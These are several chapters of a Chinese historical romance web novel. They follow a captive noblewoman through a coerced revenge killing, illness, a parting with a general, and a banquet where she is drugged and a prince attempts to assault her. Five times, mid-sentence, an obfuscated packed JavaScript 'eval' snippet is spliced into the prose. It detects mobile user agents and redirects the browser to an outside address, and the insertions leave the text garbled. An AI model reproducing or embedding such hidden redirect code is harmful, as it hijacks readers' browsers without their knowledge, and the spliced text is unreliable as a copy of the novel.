慕容桢冷笑,一手将她抱了起来,另一只手捏住她的脸颊,威胁道:“我有一千种一万种方法让你喝药,你想不想试一试?只是我耐心不足,弄疼你了我可不管。” 她终于睁开了眼睛,一双杏子般的眸子水汪汪的,此时用她自以为凶狠的表情瞪着他,道:“蛮夷安敢辱我至此,若我玄鉴阿兄知晓,定不饶你。” 这是她这些天说得第一句话,声音有些沙哑,但还是又娇又柔,仿佛不是在辱骂他,而是在和他撒娇。 慕容桢不恼,饶有兴致地摸了摸她的粉腮,问道:“玄鉴阿兄,他是谁?” “我阿父手下猛将如云,玄鉴阿兄是最英武出众的,匈奴人只要一听他的名字,都会觉得胆寒。”她气虚体弱,勉力挣扎着不让他碰,从口中咬牙切齿地说了这样一句话后,仿佛找寻到了底气,仰着头,像只张牙舞爪的小兽。 慕容桢很欣赏她这样鲜活的模样,存心逗弄:“哦?我确实没听说过,倒是很想会会。不过我十五便上了战场,至今从无败绩,你口中的这位,未必能胜于我,倒是你又如何说。” “你无败绩,不过是因为尚未遇到我阿兄,若是真战场相遇,他定会将你打得落花流水。” 慕容桢哈哈大笑,忍不住在她脸上亲了一口,嘴上却揶揄:“那你恐怕等不到那个时候了,你这样不吃不喝不用药,不出三日,你定然活不成。等你那个阿兄找来,只怕是孤坟一座,芳魂难觅……啧啧……” 她胡乱抹着脸,羞愤地泪又涌了出来,但话却是听进去了。衔着恨意将药一口饮尽,拿起空碗便朝他砸了过来。 “你等着,等我阿兄来,一定给你好看。” 她娇蛮的不成样子,但却让慕容桢难得愉悦,他一手便抓住了扔过来的东西,重新放回到她身边:“你现在身无分文,砸了东西,拿什么赔给卢太守。还是说……你已经认同你是我的人了,让我赔也不是不可以。” “痴人说梦,你这个蛮夷,胡虏,鲜卑奴!”她搜寻着脑中最恶毒的话,来反抗这个人带给自己的羞辱。可是这些话显然没有让对方羞恼在意,反而引得他大笑连连,越发无礼。 再后来,伤养好了,留了一个浅浅的疤。慕容桢见她懊恼,于是不顾她的挣扎,用胭脂在她的额上点了一朵灼灼绽放的梅花。 “真好看,没有我的允许,不准卸了。”他恐吓,满意地欣赏着自己的作品。除了言行孟浪,这个人还算守礼,之后再未有强迫之事出现。 他此次是听从父命前来相助,因而大多时候征战在外。府中人都说他战场上很是勇猛,连着击退匈奴人数次进攻,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166147|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众创匈奴主力,俘虏了他们的主帅。 凛冬将至,粮草不继,主帅被俘,所以匈奴兵只有仓皇撤退,范阳之围骤解。 一日,他忽然来了后宅,抓着她的手便要将她带出府去,口中道:“想不想报仇雪恨?今日便给你一个机会,你亲自来。” 她不明所以,本能挣扎,却被他一把揽起,抱坐在了马上。 骏马迅疾地驰骋在大街上,他的胸膛颇宽,将她搂在怀里时,几乎遮住了她大半个身子。她被他死死地箍着,挣扎的动作只显得多余,干脆不再动弹,只气鼓鼓地回头瞪他。 很快便来到了一处衙署,向内绕了半晌,才走进一个昏惨惨的牢狱之中。牢狱里光线很差,刺鼻的气味直冲鼻子,惨叫声不绝于耳。越往里走,那种恐怖的气氛便越足。灵徽就越恐惧,瑟缩着身子,直往慕容桢身边靠。他很欢喜这种依赖,干脆抓住了她的柔荑,温声道:“小心脚下,莫要害怕。” “为什么要来这里?”灵徽问。 慕容桢没有回答,沉默地带着她往内走,终于在牢狱的最深处停下了脚步。 “那个人……”他指了指墙角的一处,努力去看,才发觉那是个镣铐加身的男子。“你可认识?” 灵徽细细又辨认了一回,见他披发左衽,脸上刺着一个诡异的图腾,应该不是汉人。可她确实不认识。 她摇摇头:“我不认识。” “你说你的阿父是并州杨尚,那你告诉我,你的阿父死于何人之手?”慕容桢沉声问。 灵徽怎会忘记,一想到阿父的仇,她便觉得浑身都因为激愤而颤抖,一股又一股地血直往头上冲。 “匈奴刘棼勾连朝中奸佞,派行军右司马刘浑率大军五万,骗开城门。我阿父率兵迎击,终不能敌,力战而亡。”她一字一句道,眼中仿佛已看到了当时晋阳城的惨烈,看到了数万英魂的鲜血。 慕容桢缓声道:“这个人便是刘浑。我替你将他捉来,今日,便由你亲手宰了他,以报父仇。” 52. 五十二、恢复 一柄寒光森森的刀递到了她的手中,刀身沉重,刀尖锋利。慕容桢的声音近在耳畔,沉沉的,像是蛊惑,又像是安抚:“一刀刺下去,为你阿父报仇。” 难道不想报仇吗?明明恨不得啖其肉,寝其皮。可是人就在眼前,刀就在手中,自己却不争气地在发抖。 阿父将她保护的太好,她从未经过血气和杀戮的侵袭,在洛城那样安逸繁华的地方无忧无虑的长大,连杀猪宰羊都未曾亲眼目睹过。 就这么刺下去吗?一刀之后,仇敌殒命,心魔骤解……不过就是一刀…… “还等什么,你待他仁慈,他屠城之时可有丝毫怜悯之心?不过是成王败寇,他怨不得任何人。”慕容桢握住了她发抖的手,继续催促。 她拼命挣扎,脑中一片空白,她想逃离,她不敢面对。 慕容桢看着她,有些怒其不争。他再也没有给她怯懦的机会,握紧了她的手,往前一送…… 利器刺入,确是钝钝的声音,那人闷叫了一句后,圆睁着眼睛,死死盯着灵徽。有汩汩鲜血从刀口流下,温热粘腻,腥气刺鼻。她慌忙松手,将刀抽离,却有更多的血喷溅而出,污了她的双眸,湿了她的脸颊,粘在了她的朱唇之上。 无边血气将她包围,她觉得天地都变成了血红色,裹挟着她的灵魂,不断陨落。 她整个人都像脱了力一般地瘫软下来,耳中有尖锐的鸣叫声,身旁的一切都在扭曲轰塌。一条活生生的性命,一条命啊! 在她失去知觉时,听到有人叫她的名字。“圆月……圆月……”真是可笑,慕容怎会知道这个小字,她记得他从未这般叫过自己啊。 …… 迷迷糊糊地睁眼,只看到低垂的素色的帐幔,没有鲜血也没有幽暗的牢房,她一时恍惚,想不到自己身处何地。 头钝钝地疼,身体也虚弱的不成样子,唯有心口悸动,仿佛杀戮留下的阴影,仍在徘徊。 “可算是醒了!”熟悉的女声,让灵徽更加迷茫,她究竟在哪里,这是在范阳?还是在龙城? 她记得,她杀了人后再次醒来,已经身处前往龙城的路上。越走越荒寒,越走越陌生,她像一个战利品般,被慕容桢高高兴兴地带着回乡,而她自己却失去了全部的自由和尊严。不顾一切地想逃离,不顾一切地想要娶寻找她的玄鉴阿兄。 她笃定,只要那个人还活着,她就不算流离失所,举目无亲。 “放我走……”她嘴唇轻碰,一遍遍重复的却是这句话。高热让她无比虚弱,整个人都仿佛是一片干枯的叶子,恹恹的,毫无生机和活力。 准是烧糊涂了,不然怎么连人都认不出来了。云阁心疼得直掉眼泪,拿了浸湿的帕子,帮她往额头上放。 楚楚说,若是药石收效太慢,便可以用这个办法。可她不眠不休的守了这么久,为何一点效果都没有,女君仍旧烧得滚烫,口中不住地说着胡话,仿佛要将这些年所受的委屈都诉说出来一般。 “女君,我是云阁啊!”云阁轻声道。 拿着帕子的手却一下子被攥住了,灵徽的声音沙哑虚弱,无力地抬起眼皮,道:“云阁,你怎么来了这里,咱们在洛城失散,我找了你好久。” 云阁再也抑制不住,哭了出来:“这里是建康,不是洛阳,女君,我再也不离开你了。” 建康…… 灵徽忽然就想起来了,她如今人在建康,从春桃初绽到霜冷月寒,已经大半年时间。她筹谋的事情一件都没有成,还发现了很多不堪的秘密,时移世易,人事全非,挣扎了这么久,原来还是一个人。 比那时身陷北地还要让人绝望啊,至少那时,她心中还有念想。 “女君一直昏睡,药都喂不进去,可把奴婢们急坏了。”星台也上前来,啜泣不已。 “大夫来过?”灵徽浑身酸软,只有颓然地躺着,从身到心,都是无力。 “自从宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179448|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳走后,咱们这里人手更少了,我没有办法,只能下山去找赵将军。云阁姊姊不知道为什么,发了好大的脾气,让我不要给赵将军添麻烦……咱们之前有事情不都是去找他的么,这算什么麻烦。”星台噘着嘴,抱怨道,自觉很是委屈。 云阁叹息,看了眼灵徽,柔声解释:“将军事忙,命纯钧去宫里请回了楚楚。还好有她,诊了脉,说是普通风寒,吃了药将息着便无事。奴婢想着,有我和星台守着就行,就让她也回宫了。” “奴婢自作主张,女君莫怪。”她虽在行礼告罪,却并不因星台的话而慌乱解释什么。 云阁性子沉稳,头脑聪慧,灵徽很多事都不瞒她,这次赵缨的事情就算她未了解到全貌,应该也猜到了什么,故而也起了疏远之心。 以前还是依赖太多,怎么能事事麻烦别人。 “云阁说得不错。赵将军重任在肩,事务繁忙,今后还是莫要多叨扰人家。不过是个风寒,客居于此,莫要让人觉得轻狂。”灵徽淡淡吩咐,人乏得厉害,也不愿再多言语,指了指碗,示意将药端过来。 良药苦口,苦到断肠了,也许能让人重新活过来。 她以前每到喝药时,总要闹些脾气,被人哄着劝着,好话说尽,才勉强喝进去一点。但是从北地回来后,性子变了很多,尤其是侍候在身边的云阁和星台,都觉得她俨然换了一个人。 而这次,她越发安静内敛,不用人说就会按时饮药,连饭食都比过去用的多了些,吃完饭偶尔去后山走一走,望着远处,不言不语,眼中满是无计消除的忧伤。 清都观从立冬后便谢了客,观门紧掩,似乎再也不愿与外面有任何的接触和往来。但接连几个消息的到来,却如投入湖中的巨石一般,惊扰了近半个月的平静,没有给灵徽更长时间的喘息和恢复。 她瘦了一大圈,气色仍不好,孤清寂寞,红颜憔悴,只有那双眼眸,像是有火焰跃动,燃烧着倔强的生命力。 53. 五十三、分离 冬月廿五日,皇后于显阳殿诞下一子,因孕期梦到麒麟负日而来,所以皇帝敬告宗庙后,赐名萧麟。 皇长子已经过了七岁生辰,在他之后,后宫再无皇子出生,所以皇后这个带着祥瑞而生的孩子,自然让皇帝龙颜大悦。皇后之父被封为丹阳侯,食邑足足五百户,母亲谢夫人封了县君,亦有食邑,最让人咋舌的是谢衍的封赏。小国舅刚被擢升为散骑常侍不久,又一次得了提拔,这次他的位置是江夏国相。 江夏王萧庭是景帝幼子,按辈分来说,是先帝幼弟,当今圣上的堂叔父。但景帝四十八岁才得了这个孩子,所以他和萧祁岁数差不多。他一向低调谨慎,乐善好施,素有贤王之名,治下也并无任何异动,皇帝外派内弟去淮南,众臣皆不解其意。只是看出了皇帝对谢家的看重,毕竟江夏乃战略要地,若有尺寸之功,怕是又要继续升官了。 与此同时,徐州也有消息传来。王冀带兵浩浩荡荡往徐州而去,谁知离彭城还有百里,粮草辎重便被劫掠一空,只好退守淮阴,仗着淮水之势,与冯籍相持。 冯籍有了彭城粮仓在手,并不急着行军攻城,反而转身去了寿阳,将寿阳太守王付与逃亡到那里的袁祜一并俘获,不费吹灰之力将淮阴上游的这座重镇收入囊中。 冯籍的军队一路收编,非但没有折损,反而人数越来越多,势力越来越大。一旦顺流而下,占据淮阴,那便意味着整个徐州都落入流民军之手。 江北失守,江南再无安宁,这下连皇帝萧祁都坐不住了,急召赵缨入朝。 赵缨显然并不着急,不知与皇帝说了什么,几个时辰后出来,受封征北将军,率兵八万前去平叛。 出征的前一天,他上山来看灵徽,如之前一样,仍被拒之门外。 那一日,许久不下雪的江南忽然落了雪,虽然不大,但也薄薄积了一层,仿佛为天地蒙上了一层纱帐般。 他就站在雪中,裹着玄色大氅,脸被冻得煞白,鼻尖都有些发红。但人却仍是好脾气的站着,大有不见到灵徽誓不罢休的意思。 星台受了灵徽的斥责,不敢再自作主张,只能硬着心肠:“女君身体尚未大好,不愿意见任何人……”想了想,又补了一句,“使君也不例外。” 他在灵徽面前,一向是好脾气的,也不恼,只是温声道:“怎么病了这么久还不见好,不如让楚楚回来侍候吧。我心里担忧,不看她一眼,怎能放心的下。” 说罢,他向着朱漆大门看了一眼,那一眼,说不出的落寞。 “我虽然不知她为何不见我,想必她这样做也有缘由,可我此去徐州平叛,也不知何时能回来……” 星台更为难了,忐忑道:“使君放心,我们会照顾好女君的。” 显然,这样干瘪的言语,并不能让他满意。可是观中始终静谧,她铁了心不出来,他又能有什么办法。 明明之前一直都情义深浓,他想不到是什么让他们离心至此。圆月不是喜怒无常的性子,更不会无缘无故的不理人,她定是听到了什么风声,才生了误会。 不管什么误会,这次徐州功成,一切都会解开。 他又依依看了眼观中,沉默地叹息了一声,转身上马,扬鞭而去。不一会儿,皑皑山路上就只留下一行马蹄印,蜿蜒向雾气朦胧的远方。 观门忽然打开,拥着纯白狐裘的灵徽出现在门口,无边苍茫的雪淡化了世间的一切喧闹颜色,她亦以同样的颜色存在,遗世独立,皎然无垢。微凉的雪花扑打在她的脸上,风帽下眉色淡远,秋水空濛。 静默无言的望着远处,双眸瞬间潮湿,她仓皇地避过身子,想要继续用逃避来掩盖一切伤心和落寞。 可是,身后马鸣又起,方才离开的人不知何时去而复返,瞬间又出现在了眼前。 “圆月!”他喊着她的名字,翻身下马,在她几乎要逃进观中的那一刻,紧紧攥住了他的手腕。 下一瞬,她就落在了对方的怀中。 他穿得铠甲因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191447|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落了雪而越发冷硬,赵缨就迫着她靠在那片冰冷的东西上,不肯松手,而他的唇却滚烫地触上了她的额,熟悉的气息扑面而来,清冷的,像是雪中干枯的枝丫。 灵徽没有挣扎,怔怔然与他对望,试图从这双深邃幽黑的眼中,看到轻浮虚假的情意。可是他太会伪装,那里一片深寂,像是一个不见底的深渊,拉着她堕入无边情海之中。 她的安静,给了对方得寸进尺的机会,他的唇顺着她莹洁如玉的脸颊而下,终于找寻到了那个诱人沉沦的所在。 寂杳空茫的天地间,她的唇是唯一的色泽所在,带着桃花的气息和温软的触觉,是他睡梦中才敢奢想的存在。 轻轻一触,带着唐突的温柔,她没有推拒,于是赵缨忍不住又将她拥得紧了些,加深了这个吻。 心跳如战场上的鼓点,敲击出兵荒马乱的激越,滚滚热血倒行逆施,仿佛能将他整个人都灼烧成齑粉。 就这么在一起吧,没有纷纷扰扰,不再有聚散离合,从年少时就开始的心跳和悸动,终将变成印刻在骨头和血液里的依恋,他们才是彼此生命中无可替代的存在,是世界上最不能分开的两个人。 可相比他的迷乱,怀中的那个人却清醒又冷静。她睁着眼睛,越过他的轮廓,茫然地望着灰蒙蒙的天色。碎玉轻扬,剪水飞花,江南难得的一场落雪,留给人的却只有满心的无望和悲凉。 他有他的图谋,她也有她的执念。 无论再亲密的两个人,都会有歧路分离的时候。更何况他如此多的阴谋算计,弯曲心肠。国仇家恨未报,却只想着内斗争权,这样的他让人陌生。 那么多年的深情和依恋,不过是一场覆水难收的错误。她不悔,但也不会再执迷。 便以这样的方式结束吧,天地辽阔,该是她自己的路,她会自己走下去,无人陪伴又如何,跌跌撞撞,头破血流也不过是求仁得仁罢了。 再次相逢知何处,情若相付无怨尤。她与他,再无亏欠。 54. 五十四、出手 赵缨离开建康的第二日,灵徽收到了长公主的书信,信中半含威胁半含哄诱地邀她参加裴夫人的生辰宴。 大概是料定她不会去,随信而来的是一截断指,那指头骨节粗大,覆着一层薄茧,是习武男子的指。 “何物婢子,安敢辱皇女至此!”这是信的最后一句话。灵徽明白,安插在她身边的阿乾已然暴露,此时恐怕凶多吉少。长公主隐忍不发,不过忌惮赵缨之故,如今赵缨领兵在外,她无人庇护,还不是任长公主处置。 萧季瑶是个睚眦必报的性子,知道了自己安插人手在她身边,必然不肯罢休。没有对她用杀招,无非是因为她还有利用价值。 她被权欲蒙了心,一力扶持彭城王上位。依照彭城王的个性和能力,必会依仗于她。到时一个背靠王家和裴家的长公主,必将权倾朝野,将江山玩弄于股掌之中。无论是北伐还是泄私愤,都由她说了算。 灵徽不得不承认,自己算错了一步棋。本想利用她来实现北伐之愿,却不想无意中招惹到了一个疯子。她的图谋并不算高妙,皇帝不会不知道,只不过没有将这样疯狂又漏洞百出的计划看在眼里罢了。 从古至今,哪朝哪代会让一个外嫁并且血缘疏远的长公主执掌天下?如今天下的局势,连皇帝都无法掌控,更何况一个昏庸无道的藩王?诸世家实力颇大,就算她扶持彭城王坐上了大位,又拿什么和世家抗衡? 恐怕到时候得傀儡不是彭城王,而是她! 赵缨曾提醒过她,没药引火烧身,终究还是她太过轻敌,才惹出了现在的麻烦。灵徽望着那根断指发了很久的呆,她的脸上只有忧色,却没有分毫惧色,连云阁都有些毛骨悚然。 王家……彭城王……婚约…… 灵徽头脑中忽然出现了一个疯狂的想法,这个想法让她忽冷忽热,坐立难安。或许萧季瑶不是疯子,真正疯的人是她呀! …… 腊月十一,正是裴夫人的生辰,灵徽平白认了个干娘,自然也不能太过敷衍。 裴夫人奉五斗米道,灵徽的女冠身份正好派上用场。 她特地选了一身水墨道袍,披着青色的大氅,头顶青玉莲花冠,足蹑如意笏头履,左手持麈尾,右手挂念珠,用过早膳后乘羊车缓缓而至。 待到了裴府,已见门庭若市,宾客往来不绝。到了后宅,更是绫罗绸缎明媚鲜妍,金饰珠玉灼灼伤眼。 建康延续了当年洛城的豪奢之气,才刚刚太平几年,斗富攀比之风便一发不可收拾。女子的裙幅越做越宽大复杂,质地也越来越柔软细腻,头饰更不用说,有几个贵女头上的步摇冠,远看着仿佛金光璀璨的树,又有几个人戴了繁复夸张的假髻,重得脖颈都伸不直。 云阁跟在身后,不住咋舌,灵徽倒平静,敛着一张冷艳的脸,十足十的疏离客气,却又礼仪不失。 如今风气很奇怪,玄谈盛行之下,言语谦卑客气反而落了下乘,清高傲慢却被广为追捧。附庸风雅的人将其称之为清气,清都观的宜城君最是其中佼佼。 她冷得像是云中的一弯月,雪中的一枝梅。 果然,那些名门淑女争相与她亲近,不住地说些寒暄之词,灵徽一时成了宴席中的焦点,一个不容人忽略的存在。即使长公主莅临,也丝毫压不住她的人气。她的衣着,她的妆容,她的谈吐,都在众人的口中,成了啧啧赞叹的榜样。 灵徽见此,越发矜持,缓缓抚着麈尾,故作高深的半阖着眸子,只用余光打量着脸色铁青的长公主。 “好个妙姑子,一举一动竟有这般勾人本事,莫说男子,便是本宫看了都动心。”她拉长了声调,不阴不阳地说道。 见众人一时安静,皆凑耳过来,准备听她说些密辛,长公主笑得越发开怀,也不等灵徽解释,只一味自语:“你倒是说说,那鲜卑慕容,那谢七,还有……彭城王殿下,是怎么被你拿下的?想来这道袍之下,别有一番滋味,非我等所能知啊!” 这话说得露骨,极尽羞辱,可从长公主口中说出来,大家又觉得正常。她一向放荡,府中面首无数,便是皇帝对此颇有微词,也无法阻止她寻欢作乐的脚步。 但她刻薄,毫无顾忌,并不能消弭大家对于灵徽的印象。 方才还在追捧她清妙高远的众人,此时打量起她的眼神,都变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210747|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异又猎奇。细想来,这些话也不算空穴来风,毕竟她曾沦落北地的事情不算秘密,小国舅待她一片痴心也是人尽皆知,就连彭城王倾慕于她,也确有其事。 可见这张冷艳高洁的面庞下,藏着一颗蠢蠢欲动的心啊。道观虽是方外之地,却也自由无羁,若说有什么风流韵事发生,也不是不可能。 灵徽环顾四周,垂下眼帘,仍是一派从容清冷的样子。 她似乎半点也不在意长公主的羞辱,也没有急迫地去解释什么,只是执起面前的酒,轻轻抿了一口,淡淡道:“今日是义母的生辰,殿下若有私事,待宴席结束,灵徽定然登门拜访。” 萧季瑶碰了软钉子,禁不住冷哼了一声,虽然没再说什么,但后槽牙咬了又咬,下决心要给她些颜色。 赵缨护她护得紧,他在建康时,自己当然不好出手。毕竟如今的大魏,她能看得上眼的人不多,赵缨还算一个。若有朝一日能呼风唤雨,这样的好儿郎,她必得好好利用才好。 杨灵徽一介孤女,蝼蚁一般的东西,还敢将手伸到长公主府中,窥视她的生活。而且,她自作主张放了宣阳那个吃里扒外的贱奴,以为她很聪明吗?她必得将她利用彻底了,才能出这口恶气。 想到这里,长公主盯着灵徽手中的酒,露出一个阴狠的笑容。 裴夫人蒙在鼓里,并不知道宴席上这些眉眼官司,弯弯绕绕。她只是周到的招呼着贵客,眉宇间隐有忧色。 陶老将军出兵不利,匆匆被召回,究竟会受什么处罚至今未知。今年生辰不是整寿,她本不欲办,但长公主却极力相劝:“不仅要办,还要大张旗鼓地办。姨丈此次出兵,虽未获胜,但也并未损兵折将,所以算不得兵败。若府中过于冷情,倒让人猜测我裴氏一族式微至此。不如趁着此次生辰,将各世族悉数请来,也好让皇帝看看,他的江山到底是靠谁得来的。” 裴夫人虽然忐忑犹疑,但一想到裴氏如今的境况,容不得半点倾颓出现,于是硬着头皮答应了下来。 于是女眷在后院由她招待,男子在前院由陶襄出面,中间不过隔着一面粉墙,半道长廊,笑声都依稀可闻。 55. 五十五、受辱 灵徽今日似乎兴致颇高,酒饮了一杯又一杯,慢慢地话也多了起来。她一向和谢家和桓家那几个小女郎交好,在她们的簇拥之下,俨然是宴席的主角一般。 少见她这样高调,今日莫不是存了心和自己对着干?长公主双眸更冷,唇角的笑容却更分明。 她扬了扬下巴,示意灵徽身旁的侍婢将酒继续满上,然后悠悠然离了席。 灵徽望着她离开的方向,又看了看手中的酒,缓缓放下。 “女君,奴给你满上。”侍婢殷勤地又斟满一杯,劝道。 灵徽却摇头,捂着自己发红的脸,说话的声音都不大利索:“我饮得太多,头有些晕了。”说完,问那侍女道,“我的人去了哪里?” 侍女摇头,说不知,然后伶俐地扶起她:“奴就是府上的人,对这里最是熟悉。女君若是不舒服,奴扶您去休息吧。” 灵徽点头,轻轻靠在她身上,语调软软的:“我休息片刻就好。” 二人走了片刻,眼前出现了两条小径,一条往香气清幽的梅园而去,梅园的后面依稀可见廊庑相连,应是一处院落。另一条则是青石道,一路蜿蜒向湖边,湖边有处高楼,拔地而起,颇显巍峨。 侍女扶着灵徽,径直要往梅林深处而去,灵徽却忽然驻足,指了指那出高楼:“我饮醉了,想去楼上吹吹风。” “那是夫人赏景的地方,等闲不让去的。”侍女犹疑,见她酒气上头,脚步绵软,干脆不由分说地拽着她往前奏。 灵徽着了恼,冷着脸叱道:“我便是非要去,你能如何?你大可以去找裴夫人,看看她会不会阻我。” 说罢,也不理她,摇摇晃晃改了道。那侍女见状,跺了跺脚,只好跟上。 那楼宇修得果然精致,前望碧湖,后临花园,近处可览裴府冬日盛景,远眺可望参差千户人家。楼下种着竹松兰芷,含风团露,流香吐馥。楼上香木为栏,珍奇异宝,不可胜数。 只是略高了些…… 灵徽顺着台阶一直往上爬,到了最高处才停了下来。在窗边寻了个软塌窝了下来,指挥那侍女:“太闷了,你把四面的窗户都打开吧。” 说完,像是倦极,沉沉睡了过去。 不知过了多久,依稀有男子的声音在叫她的名字。她哼了一声,算作回应,然后又向着榻内缩了缩。 “果然睡沉了。”那人道。 “此药自西域而来,一滴便可让人昏睡半日,她又饮了酒,断不会醒过来的。殿下尽可放心,奴就守在楼下,不许任何人靠近。” …… 闭上眼睛,听觉就变得出奇的好。灵徽听到玉佩轻响,衣物窸窣,还未及睁开眼睛,便有一个肥硕的身躯压了上来。 她尚未惊呼,已被捂住了唇,湿漉漉的唇沿着她的脖颈一路蜿蜒,眼看着就要碰到她胸前的肌肤。 灵徽忽然睁开了眼睛,趁对方不备,用尽全力一推。 大约是没有料到她还清醒,也没想到她会有这么大的力气,那个鲁笨地身体趔趄着往后推了几步,沉沉撞在了柱子上,才避免跌倒在地。 不过片刻,就给了她挣脱的可能。 灵徽敏捷地绕开了他,却是向着窗边退去:“彭城殿下,你究竟要做什么?” 萧邡被推得有几分狼狈,又见灵徽眸色清澈,毫无半分酒意,心下气恼,不觉向前趋近几步:“孤见你独自在此沉睡,怕你受了风寒,特为你挡风,怎么,宜城君不信么?” 满口谎言,当真寡廉鲜耻。 灵徽冷哼,又往边上靠了靠:“既然如此,多谢好意。现下我已清醒,孤男寡女相处一室,始终不妥还请殿下速速离开。” 萧邡见她玉面含怒,粉颊微红,比平日更多了几分妩媚,愈发心痒难耐,干脆不再遮掩。反正此地就他们二人,他的侍卫就在楼下守着,此女已然是他掌中之物,料也难逃。 不过是个孤女,且声名不算干净,便是被轻薄了,谁又能说什么。 于是几步上前,迅疾地抱住了她,在她的挣扎和尖叫声中,捏住了她的腰:“你说得对,孤男寡女实在不妥,你为何独自在此勾引本王?想不到你如此风流,穿着道袍……啧啧,真是别有一番滋味。” 灵徽拼命挣扎,但她哪里是一个成年男子的对手,不过几下,衣袍应声而裂,她的肌肤暴露在寒冷的空气中,似覆在梅上的一层雪,如雪中初绽的一树梅。 萧邡看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214225|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛都直了,拉着她就要往榻上丢,但她死死地扒住窗户的棂条,尖锐的反抗。 萧邡见此,狠狠地甩了她一巴掌,骂道:“不识抬举的东西,再不从,本王便杀了你。你当自己是什么贞洁烈妇,不过是个胡狗都不要的东西……” 灵徽仍不屈服,不住地哭叫,她的叫声太过尖锐,从四面大敞的窗户中,不住地往外传。 萧邡发了狠,一脚踹在她身上,见她疼得弯下腰,便来扯她的手。 正在这时,门从外面被推开,一个男子的声音沉沉传来:“哪里来的狂徒,敢在裴府放肆?” 萧邡手里的动作僵了一下,循声而望,一个身量修长的男子站在门口,却是王愔。 王愔亦愣住了,他也想不到,在这里捉到的狂徒,竟然会是彭城王。而那个衣衫凌乱,放生哭叫的女子却是……圆月! 方才长公主以信物相约他于湖畔,说有十分要紧之事相谈。走到湖边,长公主不见人影,却听到楼上女子的尖锐哭喊。 光天化日,谁敢在将军府中作奸犯科?他疾步往楼中走去,迎面看到一个瑟瑟缩缩的小婢女,再无任何人。推开小婢女上了楼,就看到了这幅场景! “彭城殿下,这是……”王愔问。 萧邡本有些惊慌,可见到来人是王愔,知他素来谨慎,且与自己交好,便有恃无恐起来,沉了脸,十分不耐:“王九,我劝你少管闲事。” 王愔听闻此言,本欲上前的脚步停滞在原地,只看着灵徽。 她鬓发散乱,白皙的脸上掌印分明,唇角蜿蜒着一丝血痕,正楚楚地望着自己,满目皆是央求:“阿愔……” 这个称呼多久没有听过了,自从绝婚后她又何曾露出过这样的神色……王愔的思绪瞬间被拉回到桃李秾华的那个春天,那时他尚无表字,她叫自己“阿愔”。 “阿愔,既然你心悦于我,便去给我阿父提亲吧。” “阿愔,我们说好了,婚后你不许多看其他女郎一眼,不然我会生气的。” …… 他几乎是本能的,几步上前,将她紧紧护在了身后。他对彭城王道:“殿下定是饮醉了,认错了人,这是宜城君,非府中女伎。” 56. 五十六、身死 他感觉到衣袖被一只颤抖的手紧紧攥住,带着说不出的依赖和信任。 然而萧邡却仍旧死死地盯着他身后护佑的女子,不依不饶:“我再说一次,你走开,这里的事与你无关,莫要扫了本王的兴致!” “阿愔,你不要管我了。此生你我无缘,若有来世……”她声音低低的,带着悲伤与绝望,然后一点一点放开了他的衣袖。 忽然,她向着窗边而去。 眼看人就要飞身而出时,王愔死死地抱住了她的腰,将她拖了回来。怀中的人剧烈地颤抖着,王愔俯身去看,只见她满面泪痕,一双眸子黯淡无光,脸色灰白一片。 他怎会无动于衷。 “王愔,这般不识抬举的东西,你当真要管?”眼看王愔动了恻隐之心,萧邡怒气更甚,“刷”得一下抽出佩剑,指向了相拥的两个人,“或者说,你也看上她了,想要英雄救美?” 